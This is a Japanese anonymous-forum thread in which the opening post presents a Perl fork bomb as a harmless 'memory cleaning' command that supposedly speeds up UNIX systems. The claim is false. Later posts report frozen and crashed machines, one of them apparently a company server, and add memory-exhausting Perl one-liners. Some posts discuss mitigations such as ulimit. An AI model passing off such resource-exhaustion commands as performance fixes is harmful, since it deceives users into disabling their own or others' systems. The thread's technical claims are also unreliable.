簡単！メモリクリーニング

[1 名無しさん＠お腹いっぱい。 NG NG]

UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数％レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。

[172 名無しさん＠お腹いっぱい。 NG NG]

うほっ！けっこうマジメな動作報告スレと化してるじゃん。ﾜﾛｰﾀ
犬糞馬糞のほかはどうなんよ?
この際、商用ウニ糞での結果の方が重要だろ(とマジメぶってみる

[173 名無しさん＠お腹いっぱい。 NG NG]

こういうのはさ、
「一般ユーザがソシアルハックなしに
そのマシンを動作不能にできるのはバグである」
というような考え方なのかな。

[174 名無しさん＠お腹いっぱい。 NG NG]

バグとは違う様な

[175 名無しさん＠お腹いっぱい。 NG NG]

つーか物言いが極端なﾔｼだな

[176 名無しさん＠お腹いっぱい。 NG NG]

これをバグというなら、アクセルいきなり床まで踏んで尻を
振ってしまうような車は欠陥車、とかいう話になる。

[177 173 NG NG]

バグってのは極端な言い方だったけど、
そういう考え方をどっかで聞いたことがあったのよ。
「UNIX は性善説のシステム」とかだったかな。
win, mac も同じだが。

ATM が一般ユーザにとめられたらバグという表現になるんだろうけどな。
自由度と堅牢性の両立の問題だな。

[178 名無しさん＠お腹いっぱい。 NG NG]

それはメインフレームとの比較で使われる言葉かと。
あとはMulticsとの比較とか。
確かに性善説ではあるが、利便性とのドレードオフで
使い易く・軽いシステムに成った。
# 最近は肥大化で重ーくなりつつあるが・・・

[179 名無しさん＠お腹いっぱい。 NG NG]

ドレードオフ？

[180 46 NG NG]

>>レスをいただいた皆様。
46です。なんかが、目をはなしているうちに嘘つきよばわりされているので....

P4+RAM512M+スワップ512M に 素の2.4.20(パッチなし) + RedHat7.3由来のユーザランド
で、既に起動していたXのプログラム, Xサーバ自身, デーモン類 もおちていきました。
最終的になにがのこったのかはtopが殺されてからはわからなくなりましたが、
操作ができなくなったため最終的には電源を遮断しました。

[181 名無しさん＠お腹いっぱい。 NG NG]

PCの性能それ激しく劣るけども、ほぼ同等の状態があるので
テストしてみました。

ほんとに落ちるのだろうか、まだ落ちる気配もない。

[182 181 NG NG]

>>180はデーモン何動かしてるんだろ
うちは今、sshdとsamba,apacheえーとあとX(xdm)と、xinetdでtimedとかechoとか諸々。
それとdbskkd-cdbくらいかな。
MMX pentium 200Mhz Mem96MB。
普通に使っててもメモリ不足気味な状態です。

[183 46 NG NG]

>>180
捕捉。
no more processes? がでるまで数分かかりました。10分いかないぐらいでプ
ロセスの欠落が始まりました。no more process なら、それ以上メモリくわな
いと思うのに、なんでそのあとoom-killに見える状況なんだろ、COWの挙動?
電源遮断は40分後です。

[184 名無しさん＠お腹いっぱい。 NG NG]

>>180
1. rootでやったのか？
2. プロセス数制限はあったのか？

[185 名無しさん＠お腹いっぱい。 NG NG]

>>184
root で 全unlimitです。

[186 名無しさん＠お腹いっぱい。 NG NG]

会社のサーバーにSSHで繋いでリモートからroot になったあと実行。
OS はRedHatだが、固まった。
結構重要なシステムなので漏れは首だな。
首ですむならまだいいが、損害も出るだろうから
もう終りだ。2chに書いてあったから試してみたなんて
言えるはずが無い。
あああああ。

[187 名無しさん＠お腹いっぱい。 NG NG]

ホームラン級のバカだな。
なんでｿﾗﾘｽでやったとかAIXでやったとか
いう書き込みがないのか、今なら分かるだろ?

[188 名無しさん＠お腹いっぱい。 NG NG]

>>186のメジャー移籍が決定しますた

[189 名無しさん＠お腹いっぱい。 NG NG]

>>186
まぁ、冗談だとは思うけど、仮に事実だとして、
君みたいなのに重要なサーバのroot権限与えてるような会社だったら
原因不明でセーフだろ
それに、転職できるチャンスだよ、鯖管は君には向いてないよ。

[190 名無しさん＠お腹いっぱい。 NG NG]

プロセステーブル使い果たして落ちるだけだと思うんだが...
普通なら、それ以前にlimitで止められる。

[191 名無しさん＠お腹いっぱい。 NG NG]

>>187
スレよく嫁。ネタかもしれんけど一応居たみたいなんだよね・・・
>>190
スレよく嫁。Linux で root だと、できないみたい。というのが現時点での定説。
ただしカーネル2.5系では蘇生可能という説も。

[192 名無しさん＠お腹いっぱい。 NG NG]

思わず スレタイ をよく読んでしまい、( ﾟДﾟ)? となる漏れであった。

[193 名無しさん＠お腹いっぱい。 NG NG]

>>191
limitは2.4でも出来ますが

[194 名無しさん＠お腹いっぱい。 NG NG]

定説です。

[195 名無しさん＠お腹いっぱい。 NG NG]

>>1
# yes > /dev/null

ではダメか？

[196 名無しさん＠お腹いっぱい。 NG NG]

>>191
ulimit -u 32; perl ...
でブロックできてるが、これとは違うのか？
--- 2.4.20にて

[197 名無しさん＠お腹いっぱい。 NG NG]

>>196
root でやってみてよ！
ダメでしょ！
おちるでしょ！
at Redhat9

kernel になにかパッチとかしたんですか？

[198 名無しさん＠お腹いっぱい。 NG NG]

赤帽は独自にパッチ集めてきて当ててるよ。
むしろ、自前パッチもあたってるな。

[199 名無しさん＠お腹いっぱい。 NG NG]

まぁrootはある意味、神なので
rm -rf * もできるし
limitを超えての操作が出来てもあたりまえなんすかねぇ…(?

[200 名無しさん＠お腹いっぱい。 NG NG]

plan9つかえ

[201 名無しさん＠お腹いっぱい。 NG NG]

Woody kernel-2.4.18 一般ユーザで実行
完全にフリーズ状態で外部からping以外反応無し
焦ってctrl+alt+delete三十回ほど連打したら何とか再起動
これじゃやばいっす

[202 名無しさん＠お腹いっぱい。 NG NG]

plan9使えといっている

[203 名無しさん＠お腹いっぱい。 NG NG]

焦ってctrl+alt+delete三十回ほど連打するヤツがやばいっす

[204 名無しさん＠お腹いっぱい。 NG NG]

三十連打は定説ですYO！

[205 名無しさん＠お腹いっぱい。 NG NG]

おまいら無視しないでください

p l a n 9 を 使 え と 言 っ て る

[206 名無しさん＠お腹いっぱい。 NG NG]

なんすかそれ？

[207 名無しさん＠お腹いっぱい。 NG NG]

死ね>>206

[208 名無しさん＠お腹いっぱい。 NG NG]

・リソース制限かかっていないプロバイダのサーバー
・プロバイダのサーバーのメモリ不足解消CGIと言って公開する厨房
・それを便利でスゲェと思って使う厨房
3つそろったら最強だな。

[209 名無しさん＠お腹いっぱい。 NG NG]

そんなに褒められても困ります

[210 名無しさん＠お腹いっぱい。 NG NG]

連打する意味がわからん。

[211 名無しさん＠お腹いっぱい。 NG NG]

linux では >151 の
/proc/sys/kernel/threads-max
が結論だろ

[212 名無しさん＠お腹いっぱい。 NG NG]

>>205
で、plan9でやった結果はどうだったんだ?

[213 名無しさん＠お腹いっぱい。 NG NG]

しらん。
rootとが神云々とか言ってたから
plan9ひっぱりだしてきただけだ
ｴｰﾝ

[214 名無しさん＠お腹いっぱい。 NG NG]

Unix系のOSにはプロセスが限界を超えるまで増えたら古いプロセスから順にkillするという実装があったような....

[215 名無しさん＠お腹いっぱい。 NG NG]

> プロセスが限界を超える
とりあえずこれ説明してみて

[216 名無しさん＠お腹いっぱい。 NG NG]

ということは、initから殺されるわけですな

[217 212 NG NG]

>>213
つまり、plan9と言ってみたかっただけなのね。
plan9にはUnixのrootのようなすべてをつかさどるrootという概念が存在しないだけで
memoryを自由に使えるような権限のユーザーでやれば結果は同じのような気がするが。

[218 名無しさん＠お腹いっぱい。 NG NG]

>>216
すまそ。
古いではなく使われていないだった。
swap outされてるやつから順にkillされていく。

>>215
表現が悪かったね。
processes poolで確保されている量を越えてprocessが作られることを言いたかったわけだけれど。

[219 名無しさん＠お腹いっぱい。 NG NG]

>>216
それらしい現象をソラリスでみたことがある。
ただしroot じゃなかったが。

[220 名無しさん＠お腹いっぱい。 NG NG]

>>218
それはメモリ(物理+仮想)食いつぶした時の動作じゃないか？
メモリ馬鹿食いするプロセス動かしたらXサーバーがkillされちゃった
みたいな。

[221 名無しさん＠お腹いっぱい。 NG NG]

FreeBSDかNetBSDがランダムにプロセス殺すって記事は見たことあるけど
プロセスの重要度なんてカーネルは知らんからね

[222 名無しさん＠お腹いっぱい。 NG NG]

Gentoo(gentoo-sources 2.4.20-r5 参考 ttp://www.gentoo.org/doc/ja/gentoo-kernel.xml)
では一般ユーザではとくに問題なし。
ストレス無くブラジング出来るし、デーモンも死なない。(ちなみにいま実行しながら入力してます)
止めたくなったらrootでログインして(そのままだとfork failed: リソースが一時的に利用できません となるので)
# killall perl
でOK。

ただrootでやったときはデーモン等は死なないものの、ほとんど固まってしまって
さらに終了させようにもどうにもならなくなったので様子を見て電源ボタンをおしました(泣

[223 ↑ NG NG]

訂正です。
>デーモン等は死なないものの、
途中から確認する術が無くなったので、こう言い切るのは無理がありました。

[224 名無しさん＠お腹いっぱい。 NG NG]

なかなか面白いデータの取れるスレですね（ｗ

[225 名無しさん＠お腹いっぱい。 NG NG]

横槍でゴメン。
このスレは、彼も応援してるヨ〜ン。

[226 名無しさん＠お腹いっぱい。 NG NG]

危機管理

[227 名無しさん＠お腹いっぱい。 NG NG]

root で rm -rf / したら全部消えました。は只の大馬鹿者だし
rootで >>1 を動かしたら固まりました、もその仲間ではないか、と。

# sync;sync;sync

[228 名無しさん＠お腹いっぱい。 NG NG]

>>227
rootってWindowsのAdministratorよりも格段に危険なことできるからねぇ。
>>1みたいなことをなぜまずrootでやってしまう人がいるのか理解に苦しむ。
いつもrootでログインして、「俺、ミスしないから大丈夫っすよ」と根拠の無い自身を見せつけている人なのかしらん。

[229 名無しさん＠お腹いっぱい。 NG NG]

>>228
ユーザをrootしか作ってないとか。
友達でLinuxを家のPCに入れてる奴がそうだった。

大学で3年間UNIX使ってたし、
研究室の慣例で1年間、サーバの管理もやってたはずなんだが…

[230 うひひ NG NG]

>>228-229
でもわかってる香具師はrootでｲｲﾝｼﾞｬﾈｰﾉ?
userにしろrootにしろファイルをﾊﾟﾂｲﾁ消しなんて行為は普通しないし
ﾁｮｲﾄ香ばしいことするときはuserにスイッチするし（うひひ

さすがにモレは素人だから普段はuserで使ってるが
家でも会社でもモレ用のWSには一切passwd入ってねーよ
ﾏﾝﾄﾞｸｾｰことはしない

[231 名無しさん＠お腹いっぱい。 NG NG]

>>230
ここは釣れませんよ

[232 222 NG NG]

>>224
データを取るためのスレじゃなかったのでしょうか？(笑

[233 名無しさん＠お腹いっぱい。 NG NG]

>>230
HPユーザ代表つーことで実験結果よろしくｗ

[234 うひひ NG NG]

>>233
ペロリっていうのが無いです。どーしようもないでつ
はにゃくメモリクリアしないとスマップもパンクしてしまいそうです
青いﾔｼでﾄﾝﾄﾝﾋﾟｰとインスツールしたいので緊急に急いでいまつ
おながいしまつ

[235 名無しさん＠お腹いっぱい。 NG NG]

(`-´).oO(酔っぱらってやがる…)

[236 名無しさん＠お腹いっぱい。 NG NG]

>>229
管理者教育をちゃんと受けてないんじゃないのか?

>>230
いや、わかってないからrootではいっちゃうんだろ。

...というのはつられたことになるのか?

[237 名無しさん＠お腹いっぱい。 NG NG]

autologin とか passwd なしは
わかるけど、root で作業というのは違うだろう。

[238 名無しさん＠お腹いっぱい。 NG NG]

>>237
root で日常作業できる人って、きっと「完璧な」バックアップとかしてるんだろうね。

まあ、役割としてadmin な人は別かなぁ、いや、admin の上の人がバックアップ体制
敷いてるのかな ?

[239 名無しさん＠お腹いっぱい。 NG NG]

漏れは試験鯖つーかいつも遊んでる鯖があるからあえてrootでいじってる
業務鯖でrootはちょいとこわいですな

[240 名無しさん＠お腹いっぱい。 NG NG]

おれ>>１は知らんけど>>61みたいなやつを会社の実験サーバで耐久テストして
ハングしたことあるよ。solarisのすぱーくなんとかだかU1だか忘れたけど100Mhzくらいの
ボロいやつで。最近のは知らん。

みんな>>1ばっか報告してるんで>>61試して大丈夫か教えてくれよ。

[241 名無しさん＠お腹いっぱい。 NG NG]

おまいがやれ

[242 名無しさん＠お腹いっぱい。 NG NG]

┏━━━━━━━━┓
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊○●＊＊＊┃
┃＊＊＊●○＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┗━━━━━━━━┛

[243 NG NG]

ｵｾﾛ ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ ｵﾔｸｿｸ

[244 名無しさん＠お腹いっぱい。 NG NG]

┏━━━━━━━━┓
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊●＊＊＊＊┃
┃＊＊＊●●＊＊＊┃
┃＊＊＊●○＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┃＊＊＊＊＊＊＊＊┃
┗━━━━━━━━┛

[245 名無しさん＠お腹いっぱい。 NG NG]

なんでネタがなくなるとオセロなんだよぉ〜萎
つーかおまいらがんがんデータ取りやがれ
おながいします。

[246 名無しさん＠お腹いっぱい。 NG NG]

取るとどうなるとか、誰か有意にまとめてくれるのかとか、そのへんがわからん。

[247 名無しさん＠お腹いっぱい。 NG NG]

有意？にちゃんで？






ﾌﾟ

[248 名無しさん＠お腹いっぱい。 NG NG]

┏━━━━━━━━┓
┃○○○○○○○○┃
┃○＊＊＊＊＊＊○┃
┃○＊＊●＊＊＊○┃
┃○＊＊●●＊＊○┃
┃○＊＊●○＊＊○┃
┃○＊＊＊＊＊＊○┃
┃○＊＊＊＊＊＊○┃
┃○○○○○○○○┃
┗━━━━━━━━┛

[249 名無しさん＠お腹いっぱい。 NG NG]

>>247は、どんな有意義な事も無意味にしてしまうくらい場が冷める事平気で言う香具師
学校ではいつも独りぼっち

[250 名無しさん＠お腹いっぱい。 NG NG]

有意 != 有意義

[251 名無しさん＠お腹いっぱい。 NG NG]

linuxのhdparm(8)を見ると、
Dangerous とか extreme caution
という単語がやたら出てくる。
まあDangerousといってもﾊﾞｸﾊﾂするわけじゃないだろうし

こういうのを使って
"簡単！ディスククリーニング" は、できないだろうか。

[252 名無しさん＠お腹いっぱい。 NG NG]

┏━━━━━━━━┓
┃○○○○○○○○┃
┃○＊＊＊＊＊＊○┃
┃○＊＊●＊＊＊○┃
┃○＊＊●●＊＊○┃
┃○＊＊●●●＊○┃
┃○＊＊＊＊＊＊○┃
┃○＊＊＊＊＊＊○┃
┃○○○○○○○○┃
┗━━━━━━━━┛

[253 名無しさん＠お腹いっぱい。 NG NG]

>>251
マザーが、より速度の高いDMA(66)とかをサポートしていて
HDDがそれをサポートしてない場合に、HDDの限界を越える設定をすると
HDDが逝くかもね。 ためしてないからわからんが、勇者がいればやってくれ。

[254 名無しさん＠お腹いっぱい。 NG NG]

Linux 2.4.20-gentoo-r5でユーザー権限にて>>1を試すと、、、

で2秒くらいでマウスがアボーン、その直後からキーボードによる再起動を試みるも
無理。pingを撃ってみようとノートを起動してから撃ってみるとtime out.
しかたなく電源5秒押し。
222さんの報告見て、大丈夫だと思い込んでいたのでちょっとSHOCK！

[255 名無しさん＠お腹いっぱい。 NG NG]

制限加えてない状態でやると、そうなるだろうねぇ。

[256 名無しさん＠お腹いっぱい。 NG NG]

ユーザ権限で、しかも>>1じゃならんよ。
gentooのpatchがダメなんじゃないの？

[257 名無しさん＠お腹いっぱい。 NG NG]

gentooはとんがったもん沢山あててるからなぁ
どれかにマズい不具合がまじってるかもね。

[258 名無しさん＠お腹いっぱい。 NG NG]

むしろ、そのノートPCがあやしいかもしれん。

[259 名無しさん＠お腹いっぱい。 NG NG]

>254
会社にある６台のLinuxマシンで試したらほぼ同様の結果。
サーバ運用中のマシンでやるなよ

[260 名無しさん＠お腹いっぱい。 NG NG]

定量的な考察ができない連中ばかりいるのはこのスレですか？

[261 名無しさん＠お腹いっぱい。 NG NG]

>>260
煽りなんだろうけど、いまいち意味がわからない。

[262 名無しさん＠お腹いっぱい。 NG NG]

>>1 で落ちない、というだけでは十分ではない。

[263 222 NG NG]

私も2.4.20-gentoo-r5ですけどなんの制限してなくても普通に動作してますよ。

ちなみにi686 Intel(R) Pentium(R) 4 CPU 2.40GHz + メモリ1Gの環境です。

[264 名無しさん＠お腹いっぱい。 NG NG]

じゃあ運がよかったんだね。
だが、>>263の運もここまでだった。
まさか、あんなことになるなんて・・・

[265 222 NG NG]

運？

とりあえず>>1みたいにforkせずとも以下のコマンドで見事にお亡くなりになる事は確認しました。
しかもこっちの方がメモリクリーニングっぽい。
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'

[266 訂正 NG NG]

ループ関係なく
${"tmp".$i}=[0..100000000]
だけで死んだみたいです。

[267 名無しさん＠お腹いっぱい。 NG NG]

それはもうこのスレとは無関係の固有問題かと

[268 名無しさん＠お腹いっぱい。 NG NG]

>>265
FreeBSD-CURRENTですが、一瞬で
Out of memory!
とでるだけで何も起きません。

一桁減らして
  perl -e '${"tmp".$i}=[0..10000000] while ($++i)'
にしてみるとしばらくの間重くなったけど正常に終了。

[269 名無しさん＠お腹いっぱい。 NG NG]

perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
Out of memory!

gentooでも同じく。
よくわからないんだけど、これは一体なにをしてるんだ？

[270 222 NG NG]

0,1,2,...という値が入った100000000個の要素を持つ配列を永遠に作り続ける
という物です。(($++i)は(++$i)の間違いでした)実際には以下のもので代用可能です。
perl -e '@tmp = (0..100000000);'

ちなみに家の場合0を一つ増やして
perl -e '@tmp = (0..1000000000);
とするとちゃんとOut of memory!と出てくれます。

[271 名無しさん＠お腹いっぱい。 NG NG]

結局>>1のプロセス食い潰しか
>>270のスワップ食い潰し
くらいしか案が出ないのか。

Win2kでも試してみたが、やっぱり資源が尽きるとダメだな。
LinuxとFreeBSDでも制限かけてない状態で資源食い潰すようになるとダメだめだ。
と、ここまではプロセスの話。

メモリとスワップの食い潰しは制限できるもんだろうか？
Win2kと、Linux、FreeBSD共に数秒後、HDDがガリガリ言いだして
放置しておくとと固まってるな。 やはり基本的に「スワップはったら負け」なんだろうか。
2kの方は、ページングファイル固定にしとくと、寿命が決定される。
可変にしとくと、HDD満タンになるまでガリガリ言ってるな。
満タンになったら氏んだ。
その間、作業らしい作業はできなかった。どのOSでもね。

FreeBSDのやりかたわからんけど、Linuxの方はAlt+SysRqで復旧は可能です。
Windowsは何もできなくなって、電源OFFしますた。